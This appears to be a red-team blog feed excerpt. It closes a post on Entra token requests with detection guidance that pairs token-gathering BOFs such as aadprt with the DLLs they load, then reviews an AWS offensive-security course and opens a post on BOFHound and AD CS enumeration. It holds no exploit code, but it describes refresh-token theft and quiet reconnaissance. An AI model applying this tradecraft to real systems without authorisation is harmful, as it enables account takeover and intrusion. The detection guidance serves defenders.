https://substackcdn.com/image/fetch/$s_!lM9r!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7981b541-dbcc-49e9-9ab2-a4e13e8910f8_875x338.png 1272w, https://substackcdn.com/image/fetch/$s_!lM9r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7981b541-dbcc-49e9-9ab2-a4e13e8910f8_875x338.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">MicroBurst Data Collection</figcaption></figure></div><p>These are just a few examples of the token requests that can be made using different tools. There are a number of other tools you utilize for different areas of the post-exploitation, but the operational workflow will generally remain the same.</p><h1><strong>Detection Guidance</strong></h1><p>The different tools outlined during this blog for situational awareness and token requests will cause different DLLs to be loaded in an agent&#8217;s process. When these DLLs are present together within the same process, that may indicate suspicious activity:</p><ol><li><p><code>aadjoininfo</code><strong> BOF and </strong><code>dsrcli</code><strong> BOF </strong>&#8212; Used to enumerate the device&#8217;s join state and causes <code>C:\Windows\System32\dsreg.dll</code><em> </em>to be loaded into the beacon process</p></li><li><p><code>listwamaccounts</code><strong> BOF </strong>&#8212; Used to enumerate work or school accounts added to the current user profile; causes <code>C:\Windows\System32\aadWamExtension.dll</code> to be loaded into the beacon process</p></li><li><p><code>aadprt</code><strong> BOF</strong> &#8212; Used to obtain refresh token cookies. Being based on Lee&#8217;s original POC, the DLL load event he calls out for <code>C:\Windows\System32\MicrosoftAccountTokenProvider.dll</code><em> </em>is still applicable here</p></li></ol><p>On the separate device joined and workplace joined hosts I have access to, there are no running processes (outside of the beaconing <code>demon.x64.exe</code><em> </em>process) that have loaded all three DLLs. Even examining processes on my host that have just two of these DLLs loaded shows that it&#8217;s limited to <code>svchost.exe</code>, <code>OneDrive.exe</code>, and <code>ServiceHub.IdentityHost.exe</code>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xUup!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5dc1ef1e-df53-421a-a90e-df26d924f063_875x567.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xUup!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5dc1ef1e-df53-421a-a90e-df26d924f063_875x567.png 424w, https://substackcdn.com/image/fetch/$s_!xUup!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5dc1ef1e-df53-421a-a90e-df26d924f063_875x567.png 848w, https://substackcdn.com/image/fetch/$s_!xUup!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5dc1ef1e-df53-421a-a90e-df26d924f063_875x567.png 1272w, https://substackcdn.com/image/fetch/$s_!xUup!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5dc1ef1e-df53-421a-a90e-df26d924f063_875x567.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xUup!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5dc1ef1e-df53-421a-a90e-df26d924f063_875x567.png" width="875" height="567" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5dc1ef1e-df53-421a-a90e-df26d924f063_875x567.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:567,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!xUup!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5dc1ef1e-df53-421a-a90e-df26d924f063_875x567.png 424w, https://substackcdn.com/image/fetch/$s_!xUup!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5dc1ef1e-df53-421a-a90e-df26d924f063_875x567.png 848w, https://substackcdn.com/image/fetch/$s_!xUup!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5dc1ef1e-df53-421a-a90e-df26d924f063_875x567.png 1272w, https://substackcdn.com/image/fetch/$s_!xUup!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5dc1ef1e-df53-421a-a90e-df26d924f063_875x567.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Processes With dsreg.dll Loaded</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WvPP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb510a4f-4d85-4831-b805-6269571f4647_875x261.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WvPP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb510a4f-4d85-4831-b805-6269571f4647_875x261.png 424w, https://substackcdn.com/image/fetch/$s_!WvPP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb510a4f-4d85-4831-b805-6269571f4647_875x261.png 848w, https://substackcdn.com/image/fetch/$s_!WvPP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb510a4f-4d85-4831-b805-6269571f4647_875x261.png 1272w, https://substackcdn.com/image/fetch/$s_!WvPP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb510a4f-4d85-4831-b805-6269571f4647_875x261.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WvPP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb510a4f-4d85-4831-b805-6269571f4647_875x261.png" width="875" height="261" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bb510a4f-4d85-4831-b805-6269571f4647_875x261.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:261,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!WvPP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb510a4f-4d85-4831-b805-6269571f4647_875x261.png 424w, https://substackcdn.com/image/fetch/$s_!WvPP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb510a4f-4d85-4831-b805-6269571f4647_875x261.png 848w, https://substackcdn.com/image/fetch/$s_!WvPP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb510a4f-4d85-4831-b805-6269571f4647_875x261.png 1272w, https://substackcdn.com/image/fetch/$s_!WvPP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb510a4f-4d85-4831-b805-6269571f4647_875x261.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Processes With aadWamExtension.dll Loaded</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!pDeO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc7e51722-c83e-421e-8e3d-4145e32f9393_875x170.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!pDeO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc7e51722-c83e-421e-8e3d-4145e32f9393_875x170.png 424w, https://substackcdn.com/image/fetch/$s_!pDeO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc7e51722-c83e-421e-8e3d-4145e32f9393_875x170.png 848w, https://substackcdn.com/image/fetch/$s_!pDeO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc7e51722-c83e-421e-8e3d-4145e32f9393_875x170.png 1272w, https://substackcdn.com/image/fetch/$s_!pDeO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc7e51722-c83e-421e-8e3d-4145e32f9393_875x170.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!pDeO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc7e51722-c83e-421e-8e3d-4145e32f9393_875x170.png" width="875" height="170" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c7e51722-c83e-421e-8e3d-4145e32f9393_875x170.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:170,&quot;width&quot;:875,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!pDeO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc7e51722-c83e-421e-8e3d-4145e32f9393_875x170.png 424w, https://substackcdn.com/image/fetch/$s_!pDeO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc7e51722-c83e-421e-8e3d-4145e32f9393_875x170.png 848w, https://substackcdn.com/image/fetch/$s_!pDeO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc7e51722-c83e-421e-8e3d-4145e32f9393_875x170.png 1272w, https://substackcdn.com/image/fetch/$s_!pDeO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc7e51722-c83e-421e-8e3d-4145e32f9393_875x170.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Processes With MicrosoftAccountTokenProvider.dll Loaded</figcaption></figure></div><p>This is bound to vary from environment to environment, but baselining processes that normally load two or more of these DLLs and monitoring for anomalies may be able to provide an indication of processes to review for reconnaissance and token gathering actions, like those described in this blog.</p><h1><strong>Conclusion</strong></h1><p>This blog examined how an operator can perform situational awareness steps prior to making a token request and how tokens can be effectively used once obtained. Hopefully, you&#8217;ve come away with some guidance and examples on how to leverage this tradecraft and some of the quality of life scripts/tools that may help you!</p>]]></content:encoded></item><item><title><![CDATA[Breaching AWS Course Review ]]></title><description><![CDATA[CloudBreach's OAWSP Certification]]></description><link>https://blog.tw1sm.io/p/breaching-aws-course-review</link><guid isPermaLink="false">https://blog.tw1sm.io/p/breaching-aws-course-review</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Fri, 27 Dec 2024 16:31:53 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/35561dc3-770a-4728-9597-1e2cc8966569_1200x1200.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Summary</h2><p>I recently finished the <a href="https://cloudbreach.io/breachingaws/">Breaching AWS</a> course from CloudBreach and obtained the Offensive AWS Security Professional (<a href="https://eu.badgr.com/public/assertions/ShcGlOAATAuvam5YWRFGpw">OAWSP</a>) certification. This will be a brief review of the course content and exam.</p><blockquote><p>I went into this course with pretty minimal AWS experience, offensive or otherwise. I interact with AWS to deploy EC2 instances, CloudFront domains, etc. on consulting assessments, and I knew how to run <em>aws sts get-caller-identity</em> if I found a pair of access keys laying around.</p></blockquote><p>I purchased the $799 <a href="https://cloudbreach.io/breachingaws/#pricing">package</a> for the 60 days of lab access (you can&#8217;t stop/start lab time - once you click start you get X days from that point), but in hindsight I&#8217;d choose the $599 option with the minimum 30 days of lab access.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WIef!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F102e2758-507e-4d77-9aee-88d988b6beb2_2132x1164.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WIef!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F102e2758-507e-4d77-9aee-88d988b6beb2_2132x1164.png 424w, https://substackcdn.com/image/fetch/$s_!WIef!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F102e2758-507e-4d77-9aee-88d988b6beb2_2132x1164.png 848w, https://substackcdn.com/image/fetch/$s_!WIef!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F102e2758-507e-4d77-9aee-88d988b6beb2_2132x1164.png 1272w, https://substackcdn.com/image/fetch/$s_!WIef!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F102e2758-507e-4d77-9aee-88d988b6beb2_2132x1164.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WIef!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F102e2758-507e-4d77-9aee-88d988b6beb2_2132x1164.png" width="1456" height="795" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/102e2758-507e-4d77-9aee-88d988b6beb2_2132x1164.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:795,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:220006,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WIef!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F102e2758-507e-4d77-9aee-88d988b6beb2_2132x1164.png 424w, https://substackcdn.com/image/fetch/$s_!WIef!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F102e2758-507e-4d77-9aee-88d988b6beb2_2132x1164.png 848w, https://substackcdn.com/image/fetch/$s_!WIef!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F102e2758-507e-4d77-9aee-88d988b6beb2_2132x1164.png 1272w, https://substackcdn.com/image/fetch/$s_!WIef!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F102e2758-507e-4d77-9aee-88d988b6beb2_2132x1164.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Pricing Options</figcaption></figure></div><p>I&#8217;d estimate the course material (including labs) took me 16 hours to work through and I&#8217;ve seen others in the Discord server estimate 1-2 hours a night over 2 weeks to complete the material.</p><h4>Recommendation</h4><p>I would recommend the course if you are looking for a beginner AWS course or introduction to AWS exploitation. Coming out of the course, I can say I have a much better game plan for AWS recon and exploitation the next time I find a pair of access keys. However, the course does not go super in-depth anywhere, to the point I could say I&#8217;ve learned any advanced techniques or tradecraft. Nothing wrong with that, but if you already know basics of AWS resource exploitation and/or are familiar with using the AWS CLI to enumerate and abuse permissions, I&#8217;m not sure you would learn a ton of new tricks from the course.</p><h2>Breaching AWS Course</h2><p>The course is broken out into <a href="https://cloudbreach.io/courses/breaching-aws/">13 modules</a> in the form of a CTF, with each module generally focusing on one AWS resource type (S3, EC2, ECR, IAM, etc.) or attack (SSO phishing, SSM abuse, etc.). Each module has some content to read and then a lab to work through, loosely guided by flag prompts. Each lab also has a descriptive walkthrough if you get stuck or need a hint.</p><h4>Course Pros</h4><ul><li><p>The labs are the biggest pro in my opinion</p><ul><li><p>Most of your learning is hands-on labs in a live AWS environment (limited to the CLI for the most part)</p></li><li><p>As you progress through the labs, you compromise different AWS accounts/roles, each with permissions scoped to the current module&#8217;s focus</p></li><li><p>Overall, I found the labs to be straightforward and pretty fun to solve</p></li></ul></li><li><p>Almost everything in the labs can be completed using the AWS CLI, but you&#8217;re also introduced to <a href="https://github.com/RhinoSecurityLabs/pacu">Pacu</a> (and a few more situational tools), which you can optionally use throughout the course</p><ul><li><p>While you&#8217;re not instructed much on how to use Pacu, the labs make a great environment to test it out and gain a feel for it on your own</p></li></ul></li></ul><h4>Course Cons</h4><ul><li><p>The course content to read, outside the labs, felt <em>scarce</em></p><ul><li><p>Time to read the content for each module, prior to starting the labs, probably averaged 5 minutes</p></li></ul></li><li><p>Content doesn&#8217;t include any [explicit] details that come from real-world experience of the course developers</p><ul><li><p>How resources are commonly configured or used by enterprises</p></li><li><p>Resource exploitation in the labs leads to &#8220;data&#8221; compromise, always in the form of new access keys (to progress the labs, understandably), but I was often left wondering what type of data the course developers have generally found or would expect to find within different resources</p></li><li><p>Example: you gain unauthorized access to a simple notification service (SNS) or message broker (MQ) and pull access keys from data within. Nowhere does the course state how enterprises integrate (theoretically, or seen in the field) these AWS resources with workflows/software/applications or what you, as an offensive practitioner, might look to gain from unauthorized access to them</p></li></ul></li></ul><h2>Breaching AWS Exam</h2><p>The exam consists of a dedicated AWS environment that you need to progress through to accomplish a stated objective, within 24 hours. You have an additional 24 hours to submit a brief report with the details of your attack path.</p><p>While the course definitely prepares you for the exam, not everything in the exam is directly covered in the materials. The methodology developed through the course modules sufficiently got me through any &#8220;new&#8221; content, and I thought it was a positive to have to learn and apply something slightly new, that&#8217;s not directly covered in your prep notes. I think the exam took me roughly 3.5 hours in one sitting to complete, then I took a break before writing a small report (5 pages) to submit.</p><h2>Conclusion</h2><p>I didn&#8217;t find a ton<em> </em>of info out there on this course when I was researching it. Hopefully this review helps someone else out there!</p>]]></content:encoded></item><item><title><![CDATA[BOFHound: AD CS Integration]]></title><description><![CDATA[A targeted approach to AD CS enumeration]]></description><link>https://blog.tw1sm.io/p/bofhound-ad-cs-integration</link><guid isPermaLink="false">https://blog.tw1sm.io/p/bofhound-ad-cs-integration</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Wed, 30 Oct 2024 16:05:54 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/0b855076-f4de-4704-8164-2b9e7576aa5e_896x896.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote><p><em>TL;DR: <a href="https://github.com/coffeegist/bofhound">BOFHound</a> can now parse Active Directory Certificate Services (AD CS) objects, manually queried from LDAP, for review and attack path mapping within BloodHound Community Edition (BHCE).</em></p></blockquote><h1><strong>Background</strong></h1><p>My <a href="https://posts.specterops.io/bofhound-session-integration-7b88b6f18423">last</a> BOFHound-related post covered the support and usage strategies for Beacon object files (BOFs) enabling the manual collection of data required for BloodHound&#8217;s AdminTo and HasSession edges, among others. This brief post will cover the addition of AD CS object parsing (shoutout to GitHub user <a href="https://github.com/P-aLu">P-aLu</a> for collaborating on the update) and some queries to get you started.</p><p>But first, to clear up some misconceptions&#8230;</p><h2><strong>BOFHound is not a BOF!</strong></h2><p>Surprised and/or confused? Somewhat angry? Yes, this is the most common misconception I hear about the tool. BOFHound is not a BOF implementation of SharpHound; rather, it is a <em>Python script </em>that runs completely offline from your target network. I repeat &#8212; it is neither a BOF, nor a tool that actively enumerates a target Active Directory (AD) network. If this is not news to you, enlightened reader, consider skipping ahead to <em><a href="https://blog.tw1sm.io/i/150940596/the-good-stuff">The Good Stuff</a></em>.</p><h2><strong>So What Does BOFHound Do (and Why on Earth Did You Name It That)?</strong></h2><p>BOFHound was born from repeated red team engagements in a large AD network where the blue team would flag SharpHound and other &#8220;loud&#8221; methods of LDAP enumeration. (In this environment, &#8220;loud&#8221; meant an <a href="https://github.com/SpecterOps/presentations/blob/main/SO-CON%202024/Matt%20Creel%20%26%20Adam%20Brown%20-%20Manually%20Enumerating%20AD%20Attack%20Paths%20with%20BOFHound/Matt%20Creel%20and%20Adam%20Brown%20-%20Manually%20Enumerating%20AD%20Attack%20Paths%20With%20BOFHound%20-%20SO-CON%202024.pdf">expensive LDAP query</a> &#8212; a query that returned a number of results over a threshold the client had determined to be indicative of attacker reconnaissance.) The team I worked with at the time adjusted by primarily relying on the ldapsearch BOF, part of TrustedSec&#8217;s <a href="https://github.com/trustedsec/CS-Situational-Awareness-BOF">situational awareness</a> collection, for LDAP reconnaissance. This had two main benefits:</p><ul><li><p>It grants the operator full control over the LDAP query 